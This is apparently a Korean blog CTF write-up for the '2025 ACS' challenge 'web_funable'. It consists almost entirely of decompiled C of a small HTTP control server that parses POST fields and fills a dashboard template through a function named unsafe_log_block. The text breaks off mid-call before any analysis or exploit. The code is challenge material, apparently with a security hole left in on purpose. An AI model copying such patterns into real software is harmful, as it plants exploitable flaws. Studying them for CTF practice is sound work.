Link
Notice
Recent Posts
Recent Comments
«   2026/07   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

hiariz 님의 블로그

[2025 ACS] web_funable 본문

CTF, Wargame

[2025 ACS] web_funable

hiariz 2025. 11. 19. 14:45

문제는 ACS 해킹대회에 출제된 문제입니다.

 

문제 코드는 다음과 같습니다.

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v4; // ebp
  int v5; // edx
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  int v9; // eax
  int v10; // edx
  int v11; // ecx
  int v12; // r8d
  int v13; // r9d
  unsigned int v14; // ebx
  int v15; // edx
  int v16; // ecx
  int v17; // r8d
  int v18; // r9d
  int v19; // [rsp+Ch] [rbp-3Ch] BYREF
  int v20; // [rsp+10h] [rbp-38h] BYREF
  __int64 v21; // [rsp+14h] [rbp-34h]
  int v22; // [rsp+1Ch] [rbp-2Ch]

  ssignal(13LL, 1LL, envp);
  setbuf(stdout, 0LL);
  v3 = socket(2LL, 1LL, 0LL);
  if ( v3 >= 0 )
  {
    v4 = v3;
    v19 = 1;
    if ( (int)setsockopt((unsigned int)v3, 1LL, 2LL, &v19, 4LL) >= 0 )
    {
      v21 = 0LL;
      v22 = 0;
      v20 = -1877016574;
      if ( (int)bind(v4, &v20, 16LL) >= 0 )
      {
        if ( (int)listen(v4, 16LL) >= 0 )
        {
          debug_log((unsigned int)"[server] listening on port %d\n", 8080, v5, v6, v7, v8);
          while ( 1 )
          {
            v9 = accept(v4, 0LL, 0LL);
            v14 = v9;
            if ( v9 >= 0 )
            {
              debug_log((unsigned int)"[server] accepted connection fd=%d\n", v9, v10, v11, v12, v13);
              handle_client(v14);
              close(v14);
              debug_log((unsigned int)"[server] closed connection fd=%d\n", v14, v15, v16, v17, v18);
            }
            else if ( *(_DWORD *)_errno_location() != 4 )
            {
              JUMPOUT(0x93DELL);
            }
          }
        }
        JUMPOUT(0x93EALL);
      }
      JUMPOUT(0x93F6LL);
    }
    JUMPOUT(0x9402LL);
  }
  main_cold();
}
// positive sp value has been detected, the output may be wrong!
__int64 __fastcall handle_client(unsigned int a1, __int64 a2, int a3, int a4, int a5, int a6)
{
  __int64 v6; // r15
  __int64 result; // rax
  int v8; // r8d
  int v9; // r9d
  int v10; // edx
  int v11; // ecx
  int v12; // r8d
  int v13; // r9d
  unsigned __int64 v14; // r14
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  _BYTE *i; // rdi
  unsigned __int64 v19; // r13
  unsigned __int64 v20; // rbp
  __int64 v21; // r13
  __int64 v22; // rax
  int v23; // eax
  int v24; // edx
  int v25; // ecx
  int v26; // r8d
  int v27; // r9d
  int v28; // r8d
  int v29; // r9d
  __int64 v30; // rdx
  _BYTE *v31; // rdi
  _DWORD *v32; // rsi
  __int64 v33; // rax
  int v34; // edx
  int v35; // ecx
  int v36; // r8d
  int v37; // r9d
  __int64 j; // r15
  _BYTE *v39; // rax
  int v40; // edx
  int v41; // ecx
  int v42; // r8d
  int v43; // r9d
  _BYTE *v44; // rbx
  int v45; // eax
  __int64 v46; // rdx
  _BYTE *v47; // rcx
  __int64 v48; // r8
  _BYTE *v49; // r9
  int v50; // eax
  __int64 v51; // rdx
  int v52; // eax
  __int64 v53; // rdx
  int v54; // eax
  __int64 v55; // rdx
  int v56; // edx
  int v57; // r9d
  _BYTE *v58; // r14
  char v59; // bl
  __int64 v60; // rbp
  _BYTE *v61; // r15
  __int64 k; // r14
  __int64 v63; // r12
  char *v64; // r13
  __int64 *v65; // rax
  __int64 v66; // rax
  __int16 v67; // ax
  int v68; // eax
  int v69; // edx
  int v70; // ecx
  int v71; // r8d
  int v72; // r9d
  __int64 v73; // rcx
  char v74; // [rsp-4F8h] [rbp-6528h]
  unsigned int v75; // [rsp-4ECh] [rbp-651Ch]
  _BYTE *v76; // [rsp-4E8h] [rbp-6518h]
  unsigned __int64 v77; // [rsp-4D8h] [rbp-6508h]
  _BYTE *v78; // [rsp-4C8h] [rbp-64F8h]
  __int64 v79; // [rsp-4C0h] [rbp-64F0h]
  __int16 v80; // [rsp-4B0h] [rbp-64E0h] BYREF
  char v81; // [rsp-4AEh] [rbp-64DEh]
  int v82; // [rsp-4ACh] [rbp-64DCh] BYREF
  __int64 v83; // [rsp-4A8h] [rbp-64D8h] BYREF
  __int64 v84; // [rsp-4A0h] [rbp-64D0h] BYREF
  _BYTE v85[64]; // [rsp-498h] [rbp-64C8h] BYREF
  _BYTE v86[1112]; // [rsp-458h] [rbp-6488h] BYREF
  char v87; // [rsp+0h] [rbp-6030h] BYREF
  _BYTE v88[5200]; // [rsp+BA8h] [rbp-5488h] BYREF
  _BYTE v89[11036]; // [rsp+1FF8h] [rbp-4038h] BYREF

  while ( &v87 != &v88[-23464] )
    ;
  v6 = 0LL;
  v75 = a1;
  control_fd = a1;
  debug_log((unsigned int)"[handle_client] new connection fd=%d\n", a1, a3, a4, a5, a6);
  while ( 1 )
  {
    result = ((__int64 (__fastcall *)(_QWORD, _BYTE *, __int64, _QWORD))recv)(a1, &v89[v6], 0x3FFF - v6, 0LL);
    if ( result <= 0 )
      break;
    v6 += result;
    v89[v6] = 0;
    result = ((__int64 (__fastcall *)(_BYTE *, char *))j_strstr)(v89, "\r\n\r\n");
    if ( result )
      break;
    if ( v6 > 16382 )
      goto LABEL_6;
  }
  if ( v6 <= 0 )
    return result;
LABEL_6:
  v84 = 0LL;
  memset(v85, 0, sizeof(v85));
  if ( (unsigned int)_isoc23_sscanf(
                       (unsigned int)v89,
                       (unsigned int)"%7s %63s",
                       (unsigned int)&v84,
                       (unsigned int)v85,
                       v8,
                       v9,
                       v74) != 2 )
    return debug_log(
             (unsigned int)"[handle_client] unable to parse request line\n",
             (unsigned int)"%7s %63s",
             v10,
             v11,
             v12,
             v13);
  debug_log((unsigned int)"[handle_client] method=%s path=%s\n", (unsigned int)&v84, (unsigned int)v85, v11, v12, v13);
  v14 = 0LL;
  v15 = ((__int64 (__fastcall *)(_BYTE *, char *))j_strstr)(v89, "\r\n\r\n");
  v76 = (_BYTE *)v15;
  if ( v15 )
  {
    v16 = v15 - (_QWORD)v89 + 4;
    if ( v6 > v16 )
      v14 = v6 - v16;
  }
  v17 = ((__int64 (__fastcall *)(_BYTE *, const char *))strcasestr)(v89, "Content-Length:");
  if ( v17 )
  {
    for ( i = (_BYTE *)(v17 + 15); *i == 32; ++i )
      ;
    v19 = ((__int64 (__fastcall *)(_BYTE *, _QWORD, __int64))_isoc23_strtoumax)(i, 0LL, 10LL);
    if ( !(unsigned int)((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "POST") )
    {
      if ( v14 < v19 )
      {
        v20 = v19 - v14;
        if ( v6 <= 16382 )
        {
          v77 = v19;
          v21 = v6;
          do
          {
            v22 = ((__int64 (__fastcall *)(_QWORD, _BYTE *, __int64, _QWORD))recv)(v75, &v89[v21], 0x3FFF - v21, 0LL);
            if ( v22 <= 0 )
              break;
            v21 += v22;
            v20 -= v22;
            if ( !v20 )
              break;
          }
          while ( v21 <= 16382 );
          v6 = v21;
          v19 = v77;
        }
      }
      goto LABEL_21;
    }
  }
  else
  {
    v19 = 0LL;
    if ( !(unsigned int)((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "POST") )
LABEL_21:
      v89[v6] = 0;
  }
  v23 = ((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "GET");
  if ( !v76 )
  {
    if ( v23 )
      goto LABEL_74;
LABEL_48:
    debug_log((unsigned int)"[handle_get] sending default dashboard\n", (unsigned int)"GET", v24, v25, v26, v27);
    result = ((__int64 (__fastcall *)(_QWORD, const char *, const char *))stream_dashboard)(
               v75,
               "<span class=\"status-label\">Operator</span> anonymous &bull; <span class=\"status-label\">Throttle</span"
               "> maintain &bull; <span class=\"status-label\">RPM</span> 1500 &bull; <span class=\"status-label\">Overri"
               "de</span> DISARMED",
               "No diagnostics submitted.");
    goto LABEL_49;
  }
  if ( !v23 )
    goto LABEL_48;
  if ( (unsigned int)((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "POST") )
  {
LABEL_74:
    dprintf(v75, (unsigned int)"HTTP/1.0 405 Method Not Allowed\r\nConnection: close\r\n\r\n", v24, v25, v26, v27, v74);
    result = debug_log((unsigned int)"[handle_client] unsupported method=%s\n", (unsigned int)&v84, v69, v70, v71, v72);
    goto LABEL_49;
  }
  memset(v88, 0, sizeof(v88));
  debug_log((unsigned int)"[handle_post] decoding body length=%zu\n", v19, v24, 0, v26, v27);
  v30 = 4095LL;
  v31 = v86;
  if ( v19 <= 0xFFF )
    v30 = v19;
  v32 = v76 + 4;
  if ( (unsigned int)v30 >= 8 )
  {
    v73 = (unsigned int)v30 >> 3;
    qmemcpy(v86, v32, 8 * v73);
    v32 += 2 * v73;
    v31 = &v86[8 * v73];
  }
  v33 = 0LL;
  if ( (v30 & 4) != 0 )
  {
    *(_DWORD *)v31 = *v32;
    v33 = 4LL;
  }
  if ( (v30 & 2) != 0 )
  {
    *(_WORD *)&v31[v33] = *(_WORD *)((char *)v32 + v33);
    v33 += 2LL;
  }
  if ( (v30 & 1) != 0 )
    v31[v33] = *((_BYTE *)v32 + v33);
  v86[v30] = 0;
  debug_log(
    (unsigned int)"[parse_post_body] raw body (truncated=%zu): \"%.*s\"\n",
    v19,
    v30,
    (unsigned int)v86,
    v28,
    v29);
  v83 = 0LL;
  for ( j = ((__int64 (__fastcall *)(_BYTE *, const char *, __int64 *))strtok_r)(v86, "&", &v83);
        j;
        j = ((__int64 (__fastcall *)(_QWORD, const char *, __int64 *))strtok_r)(0LL, "&", &v83) )
  {
    debug_log((unsigned int)"[parse_post_body] token=\"%s\"\n", j, v34, v35, v36, v37);
    v39 = (_BYTE *)((__int64 (__fastcall *)(__int64, __int64))j_strchr_ifunc)(j, 61LL);
    v44 = v39;
    if ( !v39 )
    {
      debug_log((unsigned int)"[parse_post_body] skipping token without '='\n", 61, v40, v41, v42, v43);
      continue;
    }
    *v39 = 0;
    v76 = v39 + 1;
    v45 = ((__int64 (__fastcall *)(__int64, const char *))j_strcmp_ifunc)(j, "operator");
    v49 = v76;
    if ( v45 )
    {
      v50 = ((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
              j,
              "throttle",
              v46,
              v47,
              v48,
              v76);
      v49 = v76;
      if ( v50 )
      {
        v52 = ((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
                j,
                "rpm",
                v51,
                v47,
                v48,
                v76);
        v49 = v76;
        if ( v52 )
        {
          v54 = ((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
                  j,
                  "override",
                  v53,
                  v47,
                  v48,
                  v76);
          v49 = v76;
          if ( v54 )
          {
            if ( (unsigned int)((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
                                 j,
                                 "diagnostic",
                                 v55,
                                 v47,
                                 v48,
                                 v76) )
            {
              debug_log((unsigned int)"[parse_post_body] unknown key=%s (ignored)\n", j, v56, (_DWORD)v47, v48, v57);
              continue;
            }
            v49 = v76;
            v58 = &v88[4160];
          }
          else
          {
            v58 = &v88[3120];
          }
        }
        else
        {
          v58 = &v88[2080];
        }
      }
      else
      {
        v58 = &v88[1040];
      }
    }
    else
    {
      v58 = v88;
    }
    v59 = v44[1];
    if ( !v59 )
    {
      *((_QWORD *)v58 + 128) = 0LL;
      v60 = 0LL;
LABEL_61:
      v58[v60] = 0;
      goto LABEL_62;
    }
    v47 = v58;
    v48 = j;
    v60 = 0LL;
    v61 = v49;
    for ( k = 0LL; ; k = v63 )
    {
      v63 = k + 1;
      v64 = &v61[k + 1];
      if ( v59 == 43 )
      {
        v47[v60] = 32;
        v59 = *v64;
        ++v60;
        if ( !*v64 )
          goto LABEL_60;
        goto LABEL_56;
      }
      if ( v59 != 37 )
        goto LABEL_54;
      LOBYTE(v76) = *v64;
      if ( !*v64
        || (LOBYTE(v77) = v61[k + 2]) == 0
        || (v79 = v48,
            v78 = v47,
            v65 = (__int64 *)_ctype_b_loc(),
            v47 = v78,
            v66 = *v65,
            v48 = v79,
            (*(_BYTE *)(v66 + 2LL * (unsigned __int8)v76 + 1) & 0x10) == 0)
        || (*(_BYTE *)(v66 + 2LL * (unsigned __int8)v77 + 1) & 0x10) == 0 )
      {
LABEL_54:
        v47[v60++] = v59;
        goto LABEL_55;
      }
      LOBYTE(v67) = (_BYTE)v76;
      HIBYTE(v67) = v77;
      v80 = v67;
      v81 = 0;
      v82 = 0;
      v68 = _isoc23_sscanf(
              (unsigned int)&v80,
              (unsigned int)"%x",
              (unsigned int)&v82,
              (unsigned __int8)v77,
              v79,
              (_DWORD)v49,
              v74);
      v47 = v78;
      v48 = v79;
      if ( v68 != 1 )
        break;
      v63 = k + 3;
      v64 = &v61[k + 3];
      v78[v60++] = v82;
LABEL_55:
      v59 = *v64;
      if ( !*v64 )
        goto LABEL_60;
LABEL_56:
      if ( v60 == 1024 )
      {
        *((_QWORD *)v47 + 128) = 1024LL;
        v58 = v47;
        LODWORD(j) = v48;
        goto LABEL_72;
      }
LABEL_57:
      ;
    }
    v59 = v61[k + 3];
    v63 = k + 3;
    if ( v59 )
      goto LABEL_57;
LABEL_60:
    *((_QWORD *)v47 + 128) = v60;
    v58 = v47;
    LODWORD(j) = v48;
    if ( v60 != 1024 )
      goto LABEL_61;
LABEL_72:
    LODWORD(v60) = 1024;
LABEL_62:
    v58[1032] = 1;
    debug_log((unsigned int)"[parse_post_body] key=%s decoded_len=%zu\n", j, v60, (_DWORD)v47, v48, (_DWORD)v49);
  }
  ((void (__fastcall *)(_BYTE *))dump_control_request)(v88);
  result = ((__int64 (__fastcall *)(_QWORD, _BYTE *))process_control_packet)(v75, v88);
LABEL_49:
  control_fd = -1;
  return result;
}
__int64 __fastcall dump_control_request(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v10; // edx
  int v11; // ecx
  int v12; // r8d
  int v13; // r9d
  int v14; // edx
  int v15; // ecx
  int v16; // r8d
  int v17; // r9d
  int v18; // edx
  int v19; // ecx
  int v20; // r8d
  int v21; // r9d
  int v22; // edx
  int v23; // ecx
  int v24; // r8d
  int v25; // r9d
  int v26; // edx
  int v27; // ecx
  int v28; // r8d
  int v29; // r9d
  int v31; // edx
  int v32; // ecx
  int v33; // r8d
  int v34; // r9d

  debug_log((unsigned int)"[dump_control_request] ---- request begin ----\n", a2, a3, a4, a5, a6);
  if ( *(_BYTE *)(a1 + 1032) )
  {
    debug_log(
      (unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
      (unsigned int)"operator",
      *(_QWORD *)(a1 + 1024),
      *(_QWORD *)(a1 + 1024),
      a1,
      v9);
    if ( *(_BYTE *)(a1 + 2072) )
      goto LABEL_3;
  }
  else
  {
    debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"operator", v6, v7, v8, v9);
    if ( *(_BYTE *)(a1 + 2072) )
    {
LABEL_3:
      debug_log(
        (unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
        (unsigned int)"throttle",
        *(_QWORD *)(a1 + 2064),
        *(_QWORD *)(a1 + 2064),
        a1 + 1040,
        v13);
      if ( *(_BYTE *)(a1 + 3112) )
        goto LABEL_4;
      goto LABEL_9;
    }
  }
  debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"throttle", v10, v11, v12, v13);
  if ( *(_BYTE *)(a1 + 3112) )
  {
LABEL_4:
    debug_log(
      (unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
      (unsigned int)"rpm",
      *(_QWORD *)(a1 + 3104),
      *(_QWORD *)(a1 + 3104),
      a1 + 2080,
      v17);
    if ( *(_BYTE *)(a1 + 4152) )
      goto LABEL_5;
LABEL_10:
    debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"override", v18, v19, v20, v21);
    if ( *(_BYTE *)(a1 + 5192) )
      goto LABEL_6;
    goto LABEL_11;
  }
LABEL_9:
  debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"rpm", v14, v15, v16, v17);
  if ( !*(_BYTE *)(a1 + 4152) )
    goto LABEL_10;
LABEL_5:
  debug_log(
    (unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
    (unsigned int)"override",
    *(_QWORD *)(a1 + 4144),
    *(_QWORD *)(a1 + 4144),
    a1 + 3120,
    v21);
  if ( *(_BYTE *)(a1 + 5192) )
  {
LABEL_6:
    debug_log(
      (unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
      (unsigned int)"diagnostic",
      *(_QWORD *)(a1 + 5184),
      *(_QWORD *)(a1 + 5184),
      a1 + 4160,
      v25);
    return debug_log(
             (unsigned int)"[dump_control_request] ---- request end ----\n",
             (unsigned int)"diagnostic",
             v26,
             v27,
             v28,
             v29);
  }
LABEL_11:
  debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"diagnostic", v22, v23, v24, v25);
  return debug_log(
           (unsigned int)"[dump_control_request] ---- request end ----\n",
           (unsigned int)"diagnostic",
           v31,
           v32,
           v33,
           v34);
}
__int64 __fastcall stream_dashboard(unsigned int a1, int a2, __int64 a3)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  int v11; // edx
  int v12; // ecx
  int v13; // r8d
  int v14; // r9d
  int v15; // edx
  int v16; // ecx
  int v17; // r8d
  int v18; // r9d
  char *v19; // rbx
  char v20; // bp
  int v21; // ecx
  int v22; // r8d
  int v23; // r9d
  int v24; // ecx
  int v25; // r8d
  int v26; // r9d
  int v28; // edx
  int v29; // ecx
  int v30; // r8d
  int v31; // r9d
  __int64 v33; // [rsp+20h] [rbp-1058h]
  _BYTE v34[2]; // [rsp+3Eh] [rbp-103Ah] BYREF
  _BYTE v35[8]; // [rsp+40h] [rbp-1038h] BYREF

  v33 = fopen64("static/index.html", "r");
  if ( v33 )
  {
    dprintf(a1, (unsigned int)"HTTP/1.0 200 OK\r\n", v3, v4, v5, v6);
    dprintf(a1, (unsigned int)"Content-Type: text/html; charset=utf-8\r\n", v7, v8, v9, v10);
    dprintf(a1, (unsigned int)"Cache-Control: no-store\r\n", v11, v12, v13, v14);
    dprintf(a1, (unsigned int)"Connection: close\r\n\r\n", v15, v16, v17, v18);
    while ( 1 )
    {
      v19 = v35;
      if ( !fgets(v35, 4096LL, v33) )
        break;
      v20 = v35[0];
      if ( v35[0] )
      {
        do
        {
          if ( (unsigned int)j_strncmp_ifunc(v19, "{{STATUS_BLOCK}}", 16LL) )
          {
            if ( (unsigned int)j_strncmp_ifunc(v19, "{{CONSOLE_STREAM}}", 18LL) )
            {
              v34[0] = v20;
              ++v19;
              v34[1] = 0;
              dprintf(a1, (unsigned int)"%s", (unsigned int)v34, v24, v25, v26);
            }
            else
            {
              v19 += 18;
              unsafe_log_block(a1, a3);
            }
          }
          else
          {
            v19 += 16;
            dprintf(a1, (unsigned int)"%s", a2, v21, v22, v23);
          }
          v20 = *v19;
        }
        while ( *v19 );
      }
    }
    return fclose(v33);
  }
  else
  {
    dprintf(a1, (unsigned int)"HTTP/1.0 500 Internal Server Error\r\nConnection: close\r\n\r\n", v3, v4, v5, v6);
    return dprintf(a1, (unsigned int)"template missing\r\n", v28, v29, v30, v31);
  }
}
__int64 __fastcall process_control_packet(unsigned int a1, __int64 a2, int a3, __int64 a4, int a5, int a6)
{
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  bool v11; // zf
  int v12; // edx
  int v13; // ecx
  int v14; // r8d
  int v15; // r9d
  int v16; // ecx
  int v17; // r8d
  int v18; // r9d
  __int64 v19; // r13
  __int64 v20; // rsi
  int v21; // edx
  int v22; // ecx
  int v23; // r8d
  int v24; // r9d
  int v25; // edx
  int v26; // ecx
  int v27; // r8d
  int v28; // r9d
  unsigned int v29; // r8d
  int v30; // r9d
  unsigned __int64 v31; // rax
  _DWORD *v32; // rdi
  _DWORD *v33; // rdx
  __int64 v34; // rcx
  int v35; // edx
  int v36; // ecx
  unsigned int v37; // r8d
  int v38; // r9d
  int v39; // edx
  int v40; // ecx
  unsigned int v41; // r8d
  int v42; // r9d
  unsigned __int64 v43; // rax
  __int64 v44; // rdi
  _DWORD *v45; // rsi
  _DWORD *v46; // rdx
  __int64 v47; // rcx
  int v48; // ecx
  int v49; // r8d
  int v50; // r9d
  unsigned __int64 v51; // rax
  _DWORD *v52; // rdi
  _DWORD *v53; // rdx
  __int64 v54; // rcx
  const char *v55; // rdx
  int v56; // edx
  int v57; // ecx
  int v58; // r8d
  int v59; // r9d
  int v60; // edx
  int v61; // ecx
  int v62; // r8d
  int v63; // r9d
  int v64; // edx
  int v65; // ecx
  int v66; // r8d
  int v67; // r9d
  int v68; // edx
  int v69; // ecx
  int v70; // r8d
  int v71; // r9d
  int v72; // edx
  int v73; // ecx
  int v74; // r8d
  int v75; // r9d
  int v76; // edx
  int v77; // ecx
  int v78; // r8d
  int v79; // r9d
  unsigned __int64 v81; // rax
  __int64 v82; // r11
  _DWORD *v83; // r12
  _DWORD *v84; // rdx
  __int64 v85; // rdi
  unsigned __int64 v86; // rax
  __int64 v87; // rdi
  _DWORD *v88; // r11
  _DWORD *v89; // rdx
  __int64 v90; // rsi
  unsigned __int64 v91; // rax
  __int64 v92; // rdi
  _DWORD *v93; // r9
  _DWORD *v94; // rdx
  __int64 v95; // rsi
  unsigned __int64 v96; // rax
  _DWORD *v97; // rdi
  _DWORD *v98; // rdx
  __int64 v99; // rsi
  __int64 v100; // rdx
  __int64 v101; // rcx
  __int64 v102; // rdx
  __int64 v103; // rcx
  __int64 v104; // rdx
  __int64 v105; // rcx
  __int64 v106; // rdx
  __int64 v107; // rdi
  __int64 v108; // rdx
  __int64 v109; // rsi
  __int64 v110; // rdx
  __int64 v111; // rsi
  __int64 v112; // rdx
  __int64 v113; // rsi
  int v114; // [rsp-8h] [rbp-260h]
  _OWORD v116[4]; // [rsp+10h] [rbp-248h] BYREF
  _QWORD v117[2]; // [rsp+50h] [rbp-208h] BYREF
  __int128 v118; // [rsp+60h] [rbp-1F8h]
  __int128 v119; // [rsp+70h] [rbp-1E8h]
  __int128 v120; // [rsp+80h] [rbp-1D8h]
  _QWORD v121[2]; // [rsp+90h] [rbp-1C8h] BYREF
  __int128 v122; // [rsp+A0h] [rbp-1B8h]
  __int128 v123; // [rsp+B0h] [rbp-1A8h]
  __int128 v124; // [rsp+C0h] [rbp-198h]
  _QWORD v125[2]; // [rsp+D0h] [rbp-188h] BYREF
  __int128 v126; // [rsp+E0h] [rbp-178h]
  __int128 v127; // [rsp+F0h] [rbp-168h]
  __int128 v128; // [rsp+100h] [rbp-158h]
  _BYTE v129[128]; // [rsp+110h] [rbp-148h] BYREF
  _OWORD v130[12]; // [rsp+190h] [rbp-C8h] BYREF

  memset(v130, 0, 0x90uLL);
  debug_log((unsigned int)"[process_control_packet] begin processing control packet\n", a2, a3, 0, a5, a6);
  dump_control_request(a2, a2, v7, v8, v9, v10);
  v11 = *(_BYTE *)(a2 + 1032) == 0;
  v117[0] = 6369134LL;
  v116[0] = _mm_load_si128((const __m128i *)&xmmword_B6960);
  v117[1] = 0LL;
  v121[0] = 6369134LL;
  v121[1] = 0LL;
  v125[0] = 0x7962646E617473LL;
  v125[1] = 0LL;
  memset(&v116[1], 0, 48);
  v118 = 0LL;
  v119 = 0LL;
  v120 = 0LL;
  v122 = 0LL;
  v123 = 0LL;
  v124 = 0LL;
  v126 = 0LL;
  v127 = 0LL;
  v128 = 0LL;
  if ( !v11 )
  {
    v96 = *(_QWORD *)(a2 + 1024);
    v97 = v116;
    if ( v96 > 0x3F )
      v96 = 63LL;
    v98 = (_DWORD *)a2;
    if ( (unsigned int)v96 >= 8 )
    {
      LODWORD(v108) = 0;
      do
      {
        v109 = (unsigned int)v108;
        v108 = (unsigned int)(v108 + 8);
        *(_QWORD *)((char *)v116 + v109) = *(_QWORD *)(a2 + v109);
      }
      while ( (unsigned int)v108 < (v96 & 0xFFFFFFF8) );
      v97 = (_DWORD *)((char *)v116 + v108);
      v98 = (_DWORD *)(a2 + v108);
    }
    v99 = 0LL;
    if ( (v96 & 4) != 0 )
    {
      *v97 = *v98;
      v99 = 4LL;
      if ( (v96 & 2) == 0 )
      {
LABEL_70:
        if ( (v96 & 1) == 0 )
        {
LABEL_71:
          *((_BYTE *)v116 + v96) = 0;
          goto LABEL_2;
        }
LABEL_81:
        *((_BYTE *)v97 + v99) = *((_BYTE *)v98 + v99);
        *((_BYTE *)v116 + v96) = 0;
        goto LABEL_2;
      }
    }
    else if ( (v96 & 2) == 0 )
    {
      goto LABEL_70;
    }
    *(_WORD *)((char *)v97 + v99) = *(_WORD *)((char *)v98 + v99);
    v99 += 2LL;
    if ( (v96 & 1) == 0 )
      goto LABEL_71;
    goto LABEL_81;
  }
LABEL_2:
  if ( !*(_BYTE *)(a2 + 2072) )
    goto LABEL_3;
  v91 = *(_QWORD *)(a2 + 2064);
  v92 = a2 + 1040;
  v93 = v117;
  if ( v91 > 0x3F )
    v91 = 63LL;
  v94 = (_DWORD *)(a2 + 1040);
  if ( (unsigned int)v91 >= 8 )
  {
    LODWORD(v110) = 0;
    do
    {
      v111 = (unsigned int)v110;
      v110 = (unsigned int)(v110 + 8);
      *(_QWORD *)((char *)v117 + v111) = *(_QWORD *)(v92 + v111);
    }
    while ( (unsigned int)v110 < (v91 & 0xFFFFFFF8) );
    v93 = (_DWORD *)((char *)v117 + v110);
    v94 = (_DWORD *)(v92 + v110);
  }
  v95 = 0LL;
  if ( (v91 & 4) == 0 )
  {
    if ( (v91 & 2) == 0 )
      goto LABEL_63;
LABEL_87:
    *(_WORD *)((char *)v93 + v95) = *(_WORD *)((char *)v94 + v95);
    v95 += 2LL;
    if ( (v91 & 1) == 0 )
      goto LABEL_64;
    goto LABEL_86;
  }
  *v93 = *v94;
  v95 = 4LL;
  if ( (v91 & 2) != 0 )
    goto LABEL_87;
LABEL_63:
  if ( (v91 & 1) == 0 )
  {
LABEL_64:
    *((_BYTE *)v117 + v91) = 0;
    goto LABEL_3;
  }
LABEL_86:
  *((_BYTE *)v93 + v95) = *((_BYTE *)v94 + v95);
  *((_BYTE *)v117 + v91) = 0;
LABEL_3:
  if ( !*(_BYTE *)(a2 + 3112) )
    goto LABEL_4;
  v86 = *(_QWORD *)(a2 + 3104);
  v87 = a2 + 2080;
  v88 = v121;
  if ( v86 > 0x3F )
    v86 = 63LL;
  v89 = (_DWORD *)(a2 + 2080);
  if ( (unsigned int)v86 >= 8 )
  {
    LODWORD(v112) = 0;
    do
    {
      v113 = (unsigned int)v112;
      v112 = (unsigned int)(v112 + 8);
      *(_QWORD *)((char *)v121 + v113) = *(_QWORD *)(v87 + v113);
    }
    while ( (unsigned int)v112 < (v86 & 0xFFFFFFF8) );
    v88 = (_DWORD *)((char *)v121 + v112);
    v89 = (_DWORD *)(v87 + v112);
  }
  v90 = 0LL;
  if ( (v86 & 4) == 0 )
  {
    if ( (v86 & 2) == 0 )
      goto LABEL_56;
LABEL_92:
    *(_WORD *)((char *)v88 + v90) = *(_WORD *)((char *)v89 + v90);
    v90 += 2LL;
    if ( (v86 & 1) == 0 )
      goto LABEL_57;
    goto LABEL_91;
  }
  *v88 = *v89;
  v90 = 4LL;
  if ( (v86 & 2) != 0 )
    goto LABEL_92;
LABEL_56:
  if ( (v86 & 1) == 0 )
  {
LABEL_57:
    *((_BYTE *)v121 + v86) = 0;
    goto LABEL_4;
  }
LABEL_91:
  *((_BYTE *)v88 + v90) = *((_BYTE *)v89 + v90);
  *((_BYTE *)v121 + v86) = 0;
LABEL_4:
  if ( !*(_BYTE *)(a2 + 4152) )
    goto LABEL_5;
  v81 = *(_QWORD *)(a2 + 4144);
  v82 = a2 + 3120;
  v83 = v125;
  if ( v81 > 0x3F )
    v81 = 63LL;
  v84 = (_DWORD *)(a2 + 3120);
  if ( (unsigned int)v81 >= 8 )
  {
    LODWORD(v106) = 0;
    do
    {
      v107 = (unsigned int)v106;
      v106 = (unsigned int)(v106 + 8);
      *(_QWORD *)((char *)v125 + v107) = *(_QWORD *)(v82 + v107);
    }
    while ( (unsigned int)v106 < (v81 & 0xFFFFFFF8) );
    v83 = (_DWORD *)((char *)v125 + v106);
    v84 = (_DWORD *)(v82 + v106);
  }
  v85 = 0LL;
  if ( (v81 & 4) == 0 )
  {
    if ( (v81 & 2) == 0 )
      goto LABEL_49;
LABEL_97:
    *(_WORD *)((char *)v83 + v85) = *(_WORD *)((char *)v84 + v85);
    v85 += 2LL;
    if ( (v81 & 1) == 0 )
      goto LABEL_50;
    goto LABEL_96;
  }
  *v83 = *v84;
  v85 = 4LL;
  if ( (v81 & 2) != 0 )
    goto LABEL_97;
LABEL_49:
  if ( (v81 & 1) == 0 )
  {
LABEL_50:
    *((_BYTE *)v125 + v81) = 0;
    goto LABEL_5;
  }
LABEL_96:
  *((_BYTE *)v83 + v85) = *((_BYTE *)v84 + v85);
  *((_BYTE *)v125 + v81) = 0;
LABEL_5:
  snprintf(
    (unsigned int)v129,
    128,
